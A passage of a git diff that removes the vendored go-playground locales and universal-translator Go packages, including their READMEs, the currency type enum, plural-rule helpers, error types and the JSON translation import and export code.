fmt.Println(l.FmtTimeLong(datetime)) - fmt.Println(l.FmtTimeMedium(datetime)) - fmt.Println(l.FmtTimeShort(datetime)) - - // Months Wide - fmt.Println(l.MonthWide(time.January)) - fmt.Println(l.MonthWide(time.February)) - fmt.Println(l.MonthWide(time.March)) - // ... - - // Months Abbreviated - fmt.Println(l.MonthAbbreviated(time.January)) - fmt.Println(l.MonthAbbreviated(time.February)) - fmt.Println(l.MonthAbbreviated(time.March)) - // ... - - // Months Narrow - fmt.Println(l.MonthNarrow(time.January)) - fmt.Println(l.MonthNarrow(time.February)) - fmt.Println(l.MonthNarrow(time.March)) - // ... - - // Weekdays Wide - fmt.Println(l.WeekdayWide(time.Sunday)) - fmt.Println(l.WeekdayWide(time.Monday)) - fmt.Println(l.WeekdayWide(time.Tuesday)) - // ... - - // Weekdays Abbreviated - fmt.Println(l.WeekdayAbbreviated(time.Sunday)) - fmt.Println(l.WeekdayAbbreviated(time.Monday)) - fmt.Println(l.WeekdayAbbreviated(time.Tuesday)) - // ... - - // Weekdays Short - fmt.Println(l.WeekdayShort(time.Sunday)) - fmt.Println(l.WeekdayShort(time.Monday)) - fmt.Println(l.WeekdayShort(time.Tuesday)) - // ... - - // Weekdays Narrow - fmt.Println(l.WeekdayNarrow(time.Sunday)) - fmt.Println(l.WeekdayNarrow(time.Monday)) - fmt.Println(l.WeekdayNarrow(time.Tuesday)) - // ... - - var f64 float64 - - f64 = -10356.4523 - - // Number - fmt.Println(l.FmtNumber(f64, 2)) - - // Currency - fmt.Println(l.FmtCurrency(f64, 2, currency.CAD)) - fmt.Println(l.FmtCurrency(f64, 2, currency.USD)) - - // Accounting - fmt.Println(l.FmtAccounting(f64, 2, currency.CAD)) - fmt.Println(l.FmtAccounting(f64, 2, currency.USD)) - - f64 = 78.12 - - // Percent - fmt.Println(l.FmtPercent(f64, 0)) - - // Plural Rules for locale, so you know what rules you must cover - fmt.Println(l.PluralsCardinal()) - fmt.Println(l.PluralsOrdinal()) - - // Cardinal Plural Rules - fmt.Println(l.CardinalPluralRule(1, 0)) - fmt.Println(l.CardinalPluralRule(1.0, 0)) - fmt.Println(l.CardinalPluralRule(1.0, 1)) - fmt.Println(l.CardinalPluralRule(3, 0)) - - // Ordinal Plural Rules - fmt.Println(l.OrdinalPluralRule(21, 0)) // 21st - fmt.Println(l.OrdinalPluralRule(22, 0)) // 22nd - fmt.Println(l.OrdinalPluralRule(33, 0)) // 33rd - fmt.Println(l.OrdinalPluralRule(34, 0)) // 34th - - // Range Plural Rules - fmt.Println(l.RangePluralRule(1, 0, 1, 0)) // 1-1 - fmt.Println(l.RangePluralRule(1, 0, 2, 0)) // 1-2 - fmt.Println(l.RangePluralRule(5, 0, 8, 0)) // 5-8 -} -``` - -NOTES: -------- -These rules were generated from the [Unicode CLDR Project](http://cldr.unicode.org/), if you encounter any issues -I strongly encourage contributing to the CLDR project to get the locale information corrected and the next time -these locales are regenerated the fix will come with. - -I do however realize that time constraints are often important and so there are two options: - -1. Create your own locale, copy, paste and modify, and ensure it complies with the `Translator` interface. -2. Add an exception in the locale generation code directly and once regenerated, fix will be in place. - -Please to not make fixes inside the locale files, they WILL get overwritten when the locales are regenerated. - -License ------- -Distributed under MIT License, please see license file in code for more details. diff --git a/vendor/github.com/go-playground/locales/currency/currency.go b/vendor/github.com/go-playground/locales/currency/currency.go deleted file mode 100644 index cdaba596b6..0000000000 --- a/vendor/github.com/go-playground/locales/currency/currency.go +++ /dev/null @@ -1,308 +0,0 @@ -package currency - -// Type is the currency type associated with the locales currency enum -type Type int - -// locale currencies -const ( - ADP Type = iota - AED - AFA - AFN - ALK - ALL - AMD - ANG - AOA - AOK - AON - AOR - ARA - ARL - ARM - ARP - ARS - ATS - AUD - AWG - AZM - AZN - BAD - BAM - BAN - BBD - BDT - BEC - BEF - BEL - BGL - BGM - BGN - BGO - BHD - BIF - BMD - BND - BOB - BOL - BOP - BOV - BRB - BRC - BRE - BRL - BRN - BRR - BRZ - BSD - BTN - BUK - BWP - BYB - BYN - BYR - BZD - CAD - CDF - CHE - CHF - CHW - CLE - CLF - CLP - CNH - CNX - CNY - COP - COU - CRC - CSD - CSK - CUC - CUP - CVE - CYP - CZK - DDM - DEM - DJF - DKK - DOP - DZD - ECS - ECV - EEK - EGP - ERN - ESA - ESB - ESP - ETB - EUR - FIM - FJD - FKP - FRF - GBP - GEK - GEL - GHC - GHS - GIP - GMD - GNF - GNS - GQE - GRD - GTQ - GWE - GWP - GYD - HKD - HNL - HRD - HRK - HTG - HUF - IDR - IEP - ILP - ILR - ILS - INR - IQD - IRR - ISJ - ISK - ITL - JMD - JOD - JPY - KES - KGS - KHR - KMF - KPW - KRH - KRO - KRW - KWD - KYD - KZT - LAK - LBP - LKR - LRD - LSL - LTL - LTT - LUC - LUF - LUL - LVL - LVR - LYD - MAD - MAF - MCF - MDC - MDL - MGA - MGF - MKD - MKN - MLF - MMK - MNT - MOP - MRO - MTL - MTP - MUR - MVP - MVR - MWK - MXN - MXP - MXV - MYR - MZE - MZM - MZN - NAD - NGN - NIC - NIO - NLG - NOK - NPR - NZD - OMR - PAB - PEI - PEN - PES - PGK - PHP - PKR - PLN - PLZ - PTE - PYG - QAR - RHD - ROL - RON - RSD - RUB - RUR - RWF - SAR - SBD - SCR - SDD - SDG - SDP - SEK - SGD - SHP - SIT - SKK - SLL - SOS - SRD - SRG - SSP - STD - STN - SUR - SVC - SYP - SZL - THB - TJR - TJS - TMM - TMT - TND - TOP - TPE - TRL - TRY - TTD - TWD - TZS - UAH - UAK - UGS - UGX - USD - USN - USS - UYI - UYP - UYU - UZS - VEB - VEF - VND - VNN - VUV - WST - XAF - XAG - XAU - XBA - XBB - XBC - XBD - XCD - XDR - XEU - XFO - XFU - XOF - XPD - XPF - XPT - XRE - XSU - XTS - XUA - XXX - YDD - YER - YUD - YUM - YUN - YUR - ZAL - ZAR - ZMK - ZMW - ZRN - ZRZ - ZWD - ZWL - ZWR -) diff --git a/vendor/github.com/go-playground/locales/logo.png b/vendor/github.com/go-playground/locales/logo.png deleted file mode 100644 index 3038276e68..0000000000 Binary files a/vendor/github.com/go-playground/locales/logo.png and /dev/null differ diff --git a/vendor/github.com/go-playground/locales/rules.go b/vendor/github.com/go-playground/locales/rules.go deleted file mode 100644 index 9202900149..0000000000 --- a/vendor/github.com/go-playground/locales/rules.go +++ /dev/null @@ -1,293 +0,0 @@ -package locales - -import ( - "strconv" - "time" - - "github.com/go-playground/locales/currency" -) - -// // ErrBadNumberValue is returned when the number passed for -// // plural rule determination cannot be parsed -// type ErrBadNumberValue struct { -// NumberValue string -// InnerError error -// } - -// // Error returns ErrBadNumberValue error string -// func (e *ErrBadNumberValue) Error() string { -// return fmt.Sprintf("Invalid Number Value '%s' %s", e.NumberValue, e.InnerError) -// } - -// var _ error = new(ErrBadNumberValue) - -// PluralRule denotes the type of plural rules -type PluralRule int - -// PluralRule's -const ( - PluralRuleUnknown PluralRule = iota - PluralRuleZero // zero - PluralRuleOne // one - singular - PluralRuleTwo // two - dual - PluralRuleFew // few - paucal - PluralRuleMany // many - also used for fractions if they have a separate class - PluralRuleOther // other - required—general plural form—also used if the language only has a single form -) - -const ( - pluralsString = "UnknownZeroOneTwoFewManyOther" -) - -// Translator encapsulates an instance of a locale -// NOTE: some values are returned as a []byte just in case the caller -// wishes to add more and can help avoid allocations; otherwise just cast as string -type Translator interface { - - // The following Functions are for overriding, debugging or developing - // with a Translator Locale - - // Locale returns the string value of the translator - Locale() string - - // returns an array of cardinal plural rules associated - // with this translator - PluralsCardinal() []PluralRule - - // returns an array of ordinal plural rules associated - // with this translator - PluralsOrdinal() []PluralRule - - // returns an array of range plural rules associated - // with this translator - PluralsRange() []PluralRule - - // returns the cardinal PluralRule given 'num' and digits/precision of 'v' for locale - CardinalPluralRule(num float64, v uint64) PluralRule - - // returns the ordinal PluralRule given 'num' and digits/precision of 'v' for locale - OrdinalPluralRule(num float64, v uint64) PluralRule - - // returns the ordinal PluralRule given 'num1', 'num2' and digits/precision of 'v1' and 'v2' for locale - RangePluralRule(num1 float64, v1 uint64, num2 float64, v2 uint64) PluralRule - - // returns the locales abbreviated month given the 'month' provided - MonthAbbreviated(month time.Month) string - - // returns the locales abbreviated months - MonthsAbbreviated() []string - - // returns the locales narrow month given the 'month' provided - MonthNarrow(month time.Month) string - - // returns the locales narrow months - MonthsNarrow() []string - - // returns the locales wide month given the 'month' provided - MonthWide(month time.Month) string - - // returns the locales wide months - MonthsWide() []string - - // returns the locales abbreviated weekday given the 'weekday' provided - WeekdayAbbreviated(weekday time.Weekday) string - - // returns the locales abbreviated weekdays - WeekdaysAbbreviated() []string - - // returns the locales narrow weekday given the 'weekday' provided - WeekdayNarrow(weekday time.Weekday) string - - // WeekdaysNarrowreturns the locales narrow weekdays - WeekdaysNarrow() []string - - // returns the locales short weekday given the 'weekday' provided - WeekdayShort(weekday time.Weekday) string - - // returns the locales short weekdays - WeekdaysShort() []string - - // returns the locales wide weekday given the 'weekday' provided - WeekdayWide(weekday time.Weekday) string - - // returns the locales wide weekdays - WeekdaysWide() []string - - // The following Functions are common Formatting functionsfor the Translator's Locale - - // returns 'num' with digits/precision of 'v' for locale and handles both Whole and Real numbers based on 'v' - FmtNumber(num float64, v uint64) string - - // returns 'num' with digits/precision of 'v' for locale and handles both Whole and Real numbers based on 'v' - // NOTE: 'num' passed into FmtPercent is assumed to be in percent already - FmtPercent(num float64, v uint64) string - - // returns the currency representation of 'num' with digits/precision of 'v' for locale - FmtCurrency(num float64, v uint64, currency currency.Type) string - - // returns the currency representation of 'num' with digits/precision of 'v' for locale - // in accounting notation. - FmtAccounting(num float64, v uint64, currency currency.Type) string - - // returns the short date representation of 't' for locale - FmtDateShort(t time.Time) string - - // returns the medium date representation of 't' for locale - FmtDateMedium(t time.Time) string - - // returns the long date representation of 't' for locale - FmtDateLong(t time.Time) string - - // returns the full date representation of 't' for locale - FmtDateFull(t time.Time) string - - // returns the short time representation of 't' for locale - FmtTimeShort(t time.Time) string - - // returns the medium time representation of 't' for locale - FmtTimeMedium(t time.Time) string - - // returns the long time representation of 't' for locale - FmtTimeLong(t time.Time) string - - // returns the full time representation of 't' for locale - FmtTimeFull(t time.Time) string -} - -// String returns the string value of PluralRule -func (p PluralRule) String() string { - - switch p { - case PluralRuleZero: - return pluralsString[7:11] - case PluralRuleOne: - return pluralsString[11:14] - case PluralRuleTwo: - return pluralsString[14:17] - case PluralRuleFew: - return pluralsString[17:20] - case PluralRuleMany: - return pluralsString[20:24] - case PluralRuleOther: - return pluralsString[24:] - default: - return pluralsString[:7] - } -} - -// -// Precision Notes: -// -// must specify a precision >= 0, and here is why https://play.golang.org/p/LyL90U0Vyh -// -// v := float64(3.141) -// i := float64(int64(v)) -// -// fmt.Println(v - i) -// -// or -// -// s := strconv.FormatFloat(v-i, 'f', -1, 64) -// fmt.Println(s) -// -// these will not print what you'd expect: 0.14100000000000001 -// and so this library requires a precision to be specified, or -// inaccurate plural rules could be applied. -// -// -// -// n - absolute value of the source number (integer and decimals). -// i - integer digits of n. -// v - number of visible fraction digits in n, with trailing zeros. -// w - number of visible fraction digits in n, without trailing zeros. -// f - visible fractional digits in n, with trailing zeros. -// t - visible fractional digits in n, without trailing zeros. -// -// -// Func(num float64, v uint64) // v = digits/precision and prevents -1 as a special case as this can lead to very unexpected behaviour, see precision note's above. -// -// n := math.Abs(num) -// i := int64(n) -// v := v -// -// -// w := strconv.FormatFloat(num-float64(i), 'f', int(v), 64) // then parse backwards on string until no more zero's.... -// f := strconv.FormatFloat(n, 'f', int(v), 64) // then turn everything after decimal into an int64 -// t := strconv.FormatFloat(n, 'f', int(v), 64) // then parse backwards on string until no more zero's.... -// -// -// -// General Inclusion Rules -// - v will always be available inherently -// - all require n -// - w requires i -// - -// W returns the number of visible fraction digits in N, without trailing zeros. -func W(n float64, v uint64) (w int64) { - - s := strconv.FormatFloat(n-float64(int64(n)), 'f', int(v), 64) - - // with either be '0' or '0.xxxx', so if 1 then w will be zero - // otherwise need to parse - if len(s) != 1 { - - s = s[2:] - end := len(s) + 1 - - for i := end; i >= 0; i-- { - if s[i] != '0' { - end = i + 1 - break - } - } - - w = int64(len(s[:end])) - } - - return -} - -// F returns the visible fractional digits in N, with trailing zeros. -func F(n float64, v uint64) (f int64) { - - s := strconv.FormatFloat(n-float64(int64(n)), 'f', int(v), 64) - - // with either be '0' or '0.xxxx', so if 1 then f will be zero - // otherwise need to parse - if len(s) != 1 { - - // ignoring error, because it can't fail as we generated - // the string internally from a real number - f, _ = strconv.ParseInt(s[2:], 10, 64) - } - - return -} - -// T returns the visible fractional digits in N, without trailing zeros. -func T(n float64, v uint64) (t int64) { - - s := strconv.FormatFloat(n-float64(int64(n)), 'f', int(v), 64) - - // with either be '0' or '0.xxxx', so if 1 then t will be zero - // otherwise need to parse - if len(s) != 1 { - - s = s[2:] - end := len(s) + 1 - - for i := end; i >= 0; i-- { - if s[i] != '0' { - end = i + 1 - break - } - } - - // ignoring error, because it can't fail as we generated - // the string internally from a real number - t, _ = strconv.ParseInt(s[:end], 10, 64) - } - - return -} diff --git a/vendor/github.com/go-playground/universal-translator/.gitignore b/vendor/github.com/go-playground/universal-translator/.gitignore deleted file mode 100644 index 26617857ee..0000000000 --- a/vendor/github.com/go-playground/universal-translator/.gitignore +++ /dev/null @@ -1,24 +0,0 @@ -# Compiled Object files, Static and Dynamic libs (Shared Objects) -*.o -*.a -*.so - -# Folders -_obj -_test - -# Architecture specific extensions/prefixes -*.[568vq] -[568vq].out - -*.cgo1.go -*.cgo2.c -_cgo_defun.c -_cgo_gotypes.go -_cgo_export.* - -_testmain.go - -*.exe -*.test -*.prof \ No newline at end of file diff --git a/vendor/github.com/go-playground/universal-translator/LICENSE b/vendor/github.com/go-playground/universal-translator/LICENSE deleted file mode 100644 index 8d8aba15ba..0000000000 --- a/vendor/github.com/go-playground/universal-translator/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2016 Go Playground - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/vendor/github.com/go-playground/universal-translator/README.md b/vendor/github.com/go-playground/universal-translator/README.md deleted file mode 100644 index 24aef15859..0000000000 --- a/vendor/github.com/go-playground/universal-translator/README.md +++ /dev/null @@ -1,90 +0,0 @@ -## universal-translator - -![Project status](https://img.shields.io/badge/version-0.16.0-green.svg) -[![Build Status](https://semaphoreci.com/api/v1/joeybloggs/universal-translator/branches/master/badge.svg)](https://semaphoreci.com/joeybloggs/universal-translator) -[![Coverage Status](https://coveralls.io/repos/github/go-playground/universal-translator/badge.svg)](https://coveralls.io/github/go-playground/universal-translator) -[![Go Report Card](https://goreportcard.com/badge/github.com/go-playground/universal-translator)](https://goreportcard.com/report/github.com/go-playground/universal-translator) -[![GoDoc](https://godoc.org/github.com/go-playground/universal-translator?status.svg)](https://godoc.org/github.com/go-playground/universal-translator) -![License](https://img.shields.io/dub/l/vibe-d.svg) -[![Gitter](https://badges.gitter.im/go-playground/universal-translator.svg)](https://gitter.im/go-playground/universal-translator?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge) - -Universal Translator is an i18n Translator for Go/Golang using CLDR data + pluralization rules - -Why another i18n library? --------------------------- -Because none of the plural rules seem to be correct out there, including the previous implementation of this package, -so I took it upon myself to create [locales](https://github.com/go-playground/locales) for everyone to use; this package -is a thin wrapper around [locales](https://github.com/go-playground/locales) in order to store and translate text for -use in your applications. - -Features --------- -- [x] Rules generated from the [CLDR](http://cldr.unicode.org/index/downloads) data, v30.0.3 -- [x] Contains Cardinal, Ordinal and Range Plural Rules -- [x] Contains Month, Weekday and Timezone translations built in -- [x] Contains Date & Time formatting functions -- [x] Contains Number, Currency, Accounting and Percent formatting functions -- [x] Supports the "Gregorian" calendar only ( my time isn't unlimited, had to draw the line somewhere ) -- [x] Support loading translations from files -- [x] Exporting translations to file(s), mainly for getting them professionally translated -- [ ] Code Generation for translation files -> Go code.. i.e. after it has been professionally translated -- [ ] Tests for all languages, I need help with this, please see [here](https://github.com/go-playground/locales/issues/1) - -Installation ------------ - -Use go get - -```shell -go get github.com/go-playground/universal-translator -``` - -Usage & Documentation -------- - -Please see https://godoc.org/github.com/go-playground/universal-translator for usage docs - -##### Examples: - -- [Basic](https://github.com/go-playground/universal-translator/tree/master/examples/basic) -- [Full - no files](https://github.com/go-playground/universal-translator/tree/master/examples/full-no-files) -- [Full - with files](https://github.com/go-playground/universal-translator/tree/master/examples/full-with-files) - -File formatting --------------- -All types, Plain substitution, Cardinal, Ordinal and Range translations can all be contained withing the same file(s); -they are only separated for easy viewing. - -##### Examples: - -- [Formats](https://github.com/go-playground/universal-translator/tree/master/examples/file-formats) - -##### Basic Makeup -NOTE: not all fields are needed for all translation types, see [examples](https://github.com/go-playground/universal-translator/tree/master/examples/file-formats) -```json -{ - "locale": "en", - "key": "days-left", - "trans": "You have {0} day left.", - "type": "Cardinal", - "rule": "One", - "override": false -} -``` -|Field|Description| -|---|---| -|locale|The locale for which the translation is for.| -|key|The translation key that will be used to store and lookup each translation; normally it is a string or integer.| -|trans|The actual translation text.| -|type|The type of translation Cardinal, Ordinal, Range or "" for a plain substitution(not required to be defined if plain used)| -|rule|The plural rule for which the translation is for eg. One, Two, Few, Many or Other.(not required to be defined if plain used)| -|override|If you wish to override an existing translation that has already been registered, set this to 'true'. 99% of the time there is no need to define it.| - -Help With Tests ---------------- -To anyone interesting in helping or contributing, I sure could use some help creating tests for each language. -Please see issue [here](https://github.com/go-playground/locales/issues/1) for details. - -License ------- -Distributed under MIT License, please see license file in code for more details. diff --git a/vendor/github.com/go-playground/universal-translator/errors.go b/vendor/github.com/go-playground/universal-translator/errors.go deleted file mode 100644 index 38b163b626..0000000000 --- a/vendor/github.com/go-playground/universal-translator/errors.go +++ /dev/null @@ -1,148 +0,0 @@ -package ut - -import ( - "errors" - "fmt" - - "github.com/go-playground/locales" -) - -var ( - // ErrUnknowTranslation indicates the translation could not be found - ErrUnknowTranslation = errors.New("Unknown Translation") -) - -var _ error = new(ErrConflictingTranslation) -var _ error = new(ErrRangeTranslation) -var _ error = new(ErrOrdinalTranslation) -var _ error = new(ErrCardinalTranslation) -var _ error = new(ErrMissingPluralTranslation) -var _ error = new(ErrExistingTranslator) - -// ErrExistingTranslator is the error representing a conflicting translator -type ErrExistingTranslator struct { - locale string -} - -// Error returns ErrExistingTranslator's internal error text -func (e *ErrExistingTranslator) Error() string { - return fmt.Sprintf("error: conflicting translator for locale '%s'", e.locale) -} - -// ErrConflictingTranslation is the error representing a conflicting translation -type ErrConflictingTranslation struct { - locale string - key interface{} - rule locales.PluralRule - text string -} - -// Error returns ErrConflictingTranslation's internal error text -func (e *ErrConflictingTranslation) Error() string { - - if _, ok := e.key.(string); !ok { - return fmt.Sprintf("error: conflicting key '%#v' rule '%s' with text '%s' for locale '%s', value being ignored", e.key, e.rule, e.text, e.locale) - } - - return fmt.Sprintf("error: conflicting key '%s' rule '%s' with text '%s' for locale '%s', value being ignored", e.key, e.rule, e.text, e.locale) -} - -// ErrRangeTranslation is the error representing a range translation error -type ErrRangeTranslation struct { - text string -} - -// Error returns ErrRangeTranslation's internal error text -func (e *ErrRangeTranslation) Error() string { - return e.text -} - -// ErrOrdinalTranslation is the error representing an ordinal translation error -type ErrOrdinalTranslation struct { - text string -} - -// Error returns ErrOrdinalTranslation's internal error text -func (e *ErrOrdinalTranslation) Error() string { - return e.text -} - -// ErrCardinalTranslation is the error representing a cardinal translation error -type ErrCardinalTranslation struct { - text string -} - -// Error returns ErrCardinalTranslation's internal error text -func (e *ErrCardinalTranslation) Error() string { - return e.text -} - -// ErrMissingPluralTranslation is the error signifying a missing translation given -// the locales plural rules. -type ErrMissingPluralTranslation struct { - locale string - key interface{} - rule locales.PluralRule - translationType string -} - -// Error returns ErrMissingPluralTranslation's internal error text -func (e *ErrMissingPluralTranslation) Error() string { - - if _, ok := e.key.(string); !ok { - return fmt.Sprintf("error: missing '%s' plural rule '%s' for translation with key '%#v' and locale '%s'", e.translationType, e.rule, e.key, e.locale) - } - - return fmt.Sprintf("error: missing '%s' plural rule '%s' for translation with key '%s' and locale '%s'", e.translationType, e.rule, e.key, e.locale) -} - -// ErrMissingBracket is the error representing a missing bracket in a translation -// eg. This is a {0 <-- missing ending '}' -type ErrMissingBracket struct { - locale string - key interface{} - text string -} - -// Error returns ErrMissingBracket error message -func (e *ErrMissingBracket) Error() string { - return fmt.Sprintf("error: missing bracket '{}', in translation. locale: '%s' key: '%v' text: '%s'", e.locale, e.key, e.text) -} - -// ErrBadParamSyntax is the error representing a bad parameter definition in a translation -// eg. This is a {must-be-int} -type ErrBadParamSyntax struct { - locale string - param string - key interface{} - text string -} - -// Error returns ErrBadParamSyntax error message -func (e *ErrBadParamSyntax) Error() string { - return fmt.Sprintf("error: bad parameter syntax, missing parameter '%s' in translation. locale: '%s' key: '%v' text: '%s'", e.param, e.locale, e.key, e.text) -} - -// import/export errors - -// ErrMissingLocale is the error representing an expected locale that could -// not be found aka locale not registered with the UniversalTranslator Instance -type ErrMissingLocale struct { - locale string -} - -// Error returns ErrMissingLocale's internal error text -func (e *ErrMissingLocale) Error() string { - return fmt.Sprintf("error: locale '%s' not registered.", e.locale) -} - -// ErrBadPluralDefinition is the error representing an incorrect plural definition -// usually found within translations defined within files during the import process. -type ErrBadPluralDefinition struct { - tl translation -} - -// Error returns ErrBadPluralDefinition's internal error text -func (e *ErrBadPluralDefinition) Error() string { - return fmt.Sprintf("error: bad plural definition '%#v'", e.tl) -} diff --git a/vendor/github.com/go-playground/universal-translator/import_export.go b/vendor/github.com/go-playground/universal-translator/import_export.go deleted file mode 100644 index 7bd76f26b6..0000000000 --- a/vendor/github.com/go-playground/universal-translator/import_export.go +++ /dev/null @@ -1,274 +0,0 @@ -package ut - -import ( - "encoding/json" - "fmt" - "io/ioutil" - "os" - "path/filepath" - - "io" - - "github.com/go-playground/locales" -) - -type translation struct { - Locale string `json:"locale"` - Key interface{} `json:"key"` // either string or integer - Translation string `json:"trans"` - PluralType string `json:"type,omitempty"` - PluralRule string `json:"rule,omitempty"` - OverrideExisting bool `json:"override,omitempty"` -} - -const ( - cardinalType = "Cardinal" - ordinalType = "Ordinal" - rangeType = "Range" -) - -// ImportExportFormat is the format of the file import or export -type ImportExportFormat uint8 - -// supported Export Formats -const ( - FormatJSON ImportExportFormat = iota -) - -// Export writes the translations out to a file on disk. -// -// NOTE: this currently only works with string or int translations keys. -func (t *UniversalTranslator) Export(format ImportExportFormat, dirname string) error { - - _, err := os.Stat(dirname) - fmt.Println(dirname, err, os.IsNotExist(err)) - if err != nil { - - if !os.IsNotExist(err) { - return err - } - - if err = os.MkdirAll(dirname, 0744); err != nil { - return err - } - } - - // build up translations - var trans []translation - var b []byte - var ext string - - for _, locale := range t.translators { - - for k, v := range locale.(*translator).translations { - trans = append(trans, translation{ - Locale: locale.Locale(), - Key: k, - Translation: v.text, - }) - } - - for k, pluralTrans := range locale.(*translator).cardinalTanslations { - - for i, plural := range pluralTrans { - - // leave enough for all plural rules - // but not all are set for all languages. - if plural == nil { - continue - } - - trans = append(trans, translation{ - Locale: locale.Locale(), - Key: k.(string), - Translation: plural.text, - PluralType: cardinalType, - PluralRule: locales.PluralRule(i).String(), - }) - } - } - - for k, pluralTrans := range locale.(*translator).ordinalTanslations { - - for i, plural := range pluralTrans { - - // leave enough for all plural rules - // but not all are set for all languages. - if plural == nil { - continue - } - - trans = append(trans, translation{ - Locale: locale.Locale(), - Key: k.(string), - Translation: plural.text, - PluralType: ordinalType, - PluralRule: locales.PluralRule(i).String(), - }) - } - } - - for k, pluralTrans := range locale.(*translator).rangeTanslations { - - for i, plural := range pluralTrans { - - // leave enough for all plural rules - // but not all are set for all languages. - if plural == nil { - continue - } - - trans = append(trans, translation{ - Locale: locale.Locale(), - Key: k.(string), - Translation: plural.text, - PluralType: rangeType, - PluralRule: locales.PluralRule(i).String(), - }) - } - } - - switch format { - case FormatJSON: - b, err = json.MarshalIndent(trans, "", " ") - ext = ".json" - } - - if err != nil { - return err - } - - err = ioutil.WriteFile(filepath.Join(dirname, fmt.Sprintf("%s%s", locale.Locale(), ext)), b, 0644) - if err != nil { - return err - } - - trans = trans[0:0] - } - - return nil -} - -// Import reads the translations out of a file or directory on disk. -// -// NOTE: this currently only works with string or int translations keys. -func (t *UniversalTranslator) Import(format ImportExportFormat, dirnameOrFilename string) error { - - fi, err := os.Stat(dirnameOrFilename) - if err != nil { - return err - } - - processFn := func(filename string) error { - - f, err := os.Open(filename) - if err != nil { - return err - } - defer f.Close() - - return t.ImportByReader(format, f) - } - - if !fi.IsDir() { - return processFn(dirnameOrFilename) - } - - // recursively go through directory - walker := func(path string, info os.FileInfo, err error) error { - - if info.IsDir() { - return nil - } - - switch format { - case FormatJSON: - // skip non JSON files - if filepath.Ext(info.Name()) != ".json" { - return nil - } - } - - return processFn(path) - } - - return filepath.Walk(dirnameOrFilename, walker) -} - -// ImportByReader imports the the translations found within the contents read from the supplied reader. -// -// NOTE: generally used when assets have been embedded into the binary and are already in memory. -func (t *UniversalTranslator) ImportByReader(format ImportExportFormat, reader io.Reader) error { - - b, err := ioutil.ReadAll(reader) - if err != nil { - return err - } - - var trans []translation - - switch format { - case FormatJSON: - err = json.Unmarshal(b, &trans) - } - - if err != nil { - return err - } - - for _, tl := range trans { - - locale, found := t.FindTranslator(tl.Locale) - if !found { - return &ErrMissingLocale{locale: tl.Locale} - } - - pr := stringToPR(tl.PluralRule) - - if pr == locales.PluralRuleUnknown { - - err = locale.Add(tl.Key, tl.Translation, tl.OverrideExisting) - if err != nil { - return err - } - - continue - } - - switch tl.PluralType { - case cardinalType: - err = locale.AddCardinal(tl.Key, tl.Translation, pr, tl.OverrideExisting) - case ordinalType: - err = locale.AddOrdinal(tl.Key, tl.Translation, pr, tl.OverrideExisting) - case rangeType: - err = locale.AddRange(tl.Key, tl.Translation, pr, tl.OverrideExisting) - default: - return &ErrBadPluralDefinition{tl: tl} - } - - if err != nil { - return err - } - } - - return nil -} - -func stringToPR(s string) locales.PluralRule { - - switch s { - case "One": - return locales.PluralRuleOne - case "Two": - return locales.PluralRuleTwo - case "Few": - return locales.PluralRuleFew - case "Many": - return locales.PluralRuleMany - case "Other": - return locales.PluralRuleOther - default: - return locales.PluralRuleUnknown - } - -} diff --git a/vendor/github.com/go-playground/universal-translator/logo.png b/vendor/github.com/go-playground/universal-translator/logo.png deleted file mode 100644 index a37aa8c0cd..0000000000 Binary files a/vendor/github.com/go-playground/universal-translator/logo.png and /dev/null differ diff --git a/vendor/github.com/go-playground/universal-translator/translator.go b/vendor/github.com/go-playground/universal-translator/translator.go deleted file mode 100644 index cfafce8a09..0000000000 --- a/vendor/github.com/go-playground/universal-translator/translator.go +++ /dev/null @@ -1,420 +0,0 @@ -package ut - -import ( - "fmt" - "strconv" - "strings" - - "github.com/go-playground/locales" -) - -const ( - paramZero = "{0}" - paramOne = "{1}" - unknownTranslation = "" -) - -// Translator is universal translators -// translator instance which is a thin wrapper -// around locales.Translator instance providing -// some extra functionality -type Translator interface { - locales.Translator - - // adds a normal translation for a particular language/locale - // {#} is the only replacement type accepted and are ad infinitum - // eg. one: '{0} day left' other: '{0} days left' - Add(key interface{}, text string, override bool) error - - // adds a cardinal plural translation for a particular language/locale - // {0} is the only replacement type accepted and only one variable is accepted as - // multiple cannot be used for a plural rule determination, unless it is a range; - // see AddRange below. - // eg. in locale 'en' one: '{0} day left' other: '{0} days left' - AddCardinal(key interface{}, text string, rule locales.PluralRule, override bool) error - - // adds an ordinal plural translation for a particular language/locale - // {0} is the only replacement type accepted and only one variable is accepted as - // multiple cannot be used for a plural rule determination, unless it is a range; - // see AddRange below. - // eg. in locale 'en' one: '{0}st day of spring' other: '{0}nd day of spring' - // - 1st, 2nd, 3rd... - AddOrdinal(key interface{}, text string, rule locales.PluralRule, override bool) error - - // adds a range plural translation for a particular language/locale - // {0} and {1} are the only replacement types accepted and only these are accepted. - // eg. in locale 'nl' one: '{0}-{1} day left' other: '{0}-{1} days left' - AddRange(key interface{}, text string, rule locales.PluralRule, override bool) error - - // creates the translation for the locale given the 'key' and params passed in - T(key interface{}, params ...string) (string, error) - - // creates the cardinal translation for the locale given the 'key', 'num' and 'digit' arguments - // and param passed in - C(key interface{}, num float64, digits uint64, param string) (string, error) - - // creates the ordinal translation for the locale given the 'key', 'num' and 'digit' arguments - // and param passed in - O(key interface{}, num float64, digits uint64, param string) (string, error) - - // creates the range translation for the locale given the 'key', 'num1', 'digit1', 'num2' and - // 'digit2' arguments and 'param1' and 'param2' passed in - R(key interface{}, num1 float64, digits1 uint64, num2 float64, digits2 uint64, param1, param2 string) (string, error) - - // VerifyTranslations checks to ensures that no plural 